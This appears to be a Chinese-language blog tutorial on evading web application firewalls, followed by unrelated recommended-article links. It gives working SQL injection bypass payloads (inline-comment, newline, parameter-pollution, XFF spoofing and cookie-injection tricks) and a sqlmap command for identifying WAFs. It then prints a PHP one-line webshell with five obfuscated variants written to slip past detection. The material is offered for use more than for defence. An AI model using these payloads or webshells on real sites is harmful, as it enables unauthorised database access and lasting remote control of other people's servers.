WAF:有硬件和软件类型。
常见的软WAF,常见:安全狗、云锁、云盾、护卫神。
SQL注入的绕过:
 WAF核心机制就是正则匹配。
通过正则匹配,如果符合规则,就拦截。
比如sql注入中and 1=1被拦截。
可尝试大小写绕过:And 1=1
编码绕过:  因为WAF 获取数据后不会解码。如&=>%26
通过不同进制绕过:例如16进制的0x32相当于十进制的2。
铭记:安全和用户体验都是需要平衡的,特别是针对WAF而言。
 
WAF判断的几种方法:
1.SQLmap
使用SQLmap中自带的WAF识别模块可以识别出WAF的种类,但是如果所安装的WAF没有明显特征,SQLmap就只能识别出类型是Generic
在SQLmap中输入一下命令:
sqlmap.py -u "http://xxx.com"  --identify-waf  --batch
一般情况下就可以被扫描出waf的种类。
2.手工判断
这个也比较简单,直接在相应网站的url上后面加上最基础的测试语句,比如union select 1,2,3%23,并且放在一个不存在的参数名中,若触发了WAF的防护,所以网站存在WAF.
 
内联注释:是MYSQL为了保持与其他数据兼容,将MYSQL中特有的语句放在/!…*/中,这些语句在不兼容的数据库中不执行,而在MYSQL自身却能识别、执行。
/*!50001*/表示数据库版本>=5.00.01中间的语句才能执行。
/**/在数据库里是注释的意思。而/*!*/是内联注释(核心在于注释里的也可执行,目的在于适应不同版本)。可对数据库版本的注释进行暴力破解,绕过狗。比如/*!10044select*/可绕过。
 
常见绕过手法:
大小写绕过(很老的WAF才有用)
替换绕过(很老的WAF才有用)比如将union select 1,2,3,4,5替换成ununionion selselectect 1,2,3,4,5
特殊字符绕过(%0a换行)例如传参?id=1 union /*!10044select*/ 1,2,3 %23/*%0afrom admin%23*/  换行之后被执行。
编码绕过(比如会多次解码的东西,例如我们DOM XSS绕狗那个)
等价替换(利用其它函数替代)【union #%0aselect 拦截】[inion all #%select 不拦截]
容器特性(例如Apace的Hpp,或者IIS的%分割)IIS的分割传参里面s%e%l%e%c%t相当于select。Apache特性参数污染:?id=1/*&id=2 union select 1,password,3 from admin limit 1,1#*/(参数污染是指当同一参数出现多次,不同的中间件会解析为不同的结果)
白名单(管理员权限或者是127.0.0.1本地访问不拦截(抓包修改XFF成本地IP))
缓冲区(数据太多了,超出了WAF检测的范围)可在攻击语句中用注释填入大量无用字符,但要用POST传参。
有些函数加上反引号也是可以运行的。比如sleep(),updatexml()
生僻函数绕过(使用生僻函数替代常见的函数,例如在报错注入中使用polygon()函数代替常用的updatexml()函数
寻找网站源站IP(对于具有云waf防护的网站而言,只要找到网站的IP地址,然后通过IP访问网站,就可以绕过云waf的检测)
注入参数到cookies中(默写程序员在代码中使用$_REQUEST获取函数,它会依次从GET/POST/COOKIE中获取参数,如果WAF只检测了GET/POST而木有检测cookie,可以将注入语句放入cookie中绕过)
 
webshell的绕过:
我们常见的PHP一句话木马就是:<?php eval($_REQUEST['a'])?>这个是密码是a的一句话木马。这个语句肯定是会被拦截的。
绕过拦截:1.<?php eval(end($_PEQUEST));?>
end(): 输出数组中的当前元素和最后一个元素的值.($_所获取到的东西都是数组)
2.通过常量定义:<?php define("a","$_REQUEST[a]");eval(a);?>
3.通过字符串定义:
<?php
$a='ass';
$b='ert';
$funcName=$a.$b;
$x='funcName';
$$x($_REQUEST[1]);
?>
4.通过函数定义强行分割:
<?php
function a($a){
return $a;}
eval(a($_REQUEST)[1]);
?>
5.通过类定义,然后传参强行执行分割
<?php
class User
{
public $name='  ';
function_destruct(){
eval("$this->name");
}
}
$user=new User;
$user->name=".$_POST['dd'];
?>

绕过waf的更多相关文章

  1. 深入理解SQL注入绕过WAF和过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  2. 深入了解SQL注入绕过waf和过滤机制

    知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 ...

  3. 深入理解SQL注入绕过WAF与过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  4. 黑客是怎样绕过WAF之三重防护绕过讲解

    什么是WAF Web Application Firewall 通过执行一系列针对HTTP/HTTPS的安全策略来防御对Web应用的攻击. 目前主要有单设备WAF与云WAF WAF的现状 1.太多数W ...

  5. 在SQL注入中利用MySQL隐形的类型转换绕过WAF检测

    web应用一般采用基于表单的身份验证方式(页面雏形如下图所示),处理逻辑就是将表单中提交的用户名和密码传递到后台数据库去查询,并根据查询结果判断是否通过身份验证.对于LAMP架构的web应用而言,处理 ...

  6. 使用sqlmap中tamper脚本绕过waf

    使用sqlmap中tamper脚本绕过waf 刘海哥 · 2015/02/02 11:26 0x00 背景 sqlmap中的tamper脚本来对目标进行更高效的攻击. 由于乌云知识库少了sqlmap- ...

  7. 通过HTTP参数污染绕过WAF拦截 (转)

    上个星期我被邀请组队去参加一个由CSAW组织的CTF夺旗比赛.因为老婆孩子的缘故,我只能挑一个与Web漏洞利用相关的题目,名字叫做”HorceForce”.这道题价值300点.这道题大概的背景是,你拥 ...

  8. sqlmap注入之tamper绕过WAF脚本列表

    本文作者:i春秋作者——玫瑰 QQ2230353371转载请保留文章出处 使用方法--tamper xxx.py apostrophemask.py用UTF-8全角字符替换单引号字符 apostrop ...

  9. SQL注入9种绕过WAF方法

    SQL注入9种绕过WAF方法 0x01前言 WAF区别于常规 防火墙 是因为WAF能够过滤特定Web应用程序的内容,而常规防火墙则充当服务器之间的防御门.通过检查HTTP的流量,它可以防御Web应用安 ...

  10. 用最短的payload绕过WAF(入门)

    本文作者:jishuzhain <font color=green>想绕过一个WAF,我们可以用最短的payload来做,这里只是基础示例,望各位大佬勿喷,小弟在此谢过.</font ...

随机推荐

  1. ios 底部用定位 fixed。在软件盘出来后,页面元素被顶上去一部分,fixed定位的footer也跑到了上面去。解决方法

    ios 底部用定位 fixed.在软件盘出来后,页面元素被顶上去一部分,fixed定位的footer也跑到了上面去.解决方法 $("input").focus(function() ...

  2. centos610无桌面安装libreoffice

    Centos610系列配置 #安装文件 yum -y install libreoffice #安装中文包 yum -y install libreoffice-langpack-zh-Han* #安 ...

  3. mybatis用mybatis-generator-core-1.3.5.jar自动生成实体类

    原文出处:https://blog.csdn.net/shuoshuo_12345/article/details/80626241,本文只是个人总结而已! 方法1:在pom文件中添加依赖 只需在搭建 ...

  4. C语言入门第十章----结构体

    C语言结构体从本质上讲是一种自定义的数据类型,只不过这种数据类型比较复杂,是由int.char .float等基本类型组成的,你可以认为结构体是一种聚合类型. 在实际开发中,我们可以将一组类型不同的. ...

  5. leetcode 0218

    目录 ✅ 1200. 最小绝对差 描述 解答 cpp py ✅ 897. 递增顺序查找树 描述 解答 cpp 指针问题? fuck ptr py ✅ 183. 从不订购的客户 描述 解答 sql to ...

  6. 蓝桥杯-铺瓷砖(dfs)

    问题描述 有一长度为N(1< =N< =10)的地板,给定两种不同瓷砖:一种长度为1,另一种长度为2,数目不限.要将这个长度为N的地板铺满,一共有多少种不同的铺法? 例如,长度为4的地面一 ...

  7. Android Studio 使用入门及问题汇总

    声明:转载自http://blog.csdn.net/wei_chong_chong/article/details/56280383 之前一直用eclipse+adt做Android开发.曾经尝试使 ...

  8. SVN安装不成功,提示Invalid driver H:

    本来我的SVN安装在H盘,后来我把包含H盘的硬盘下下来了,这样H盘就不存在了. 这时候我想重新安装SVN,点击安装包,结果提示Invalid driver H,怎么都不能安装成功. 这时候我去注册表里 ...

  9. NET站点升级后,新特新无法编译通过

    NET3.5 webconfig中有自动配置如下代码,用于指示编译器. <system.codedom> <compilers> <compiler language=& ...

  10. 牛客网Sql

    牛客网Sql: 1.查询最晚入职的员工信息  select * from employees where hire_date =(select max(hire_date) from employee ...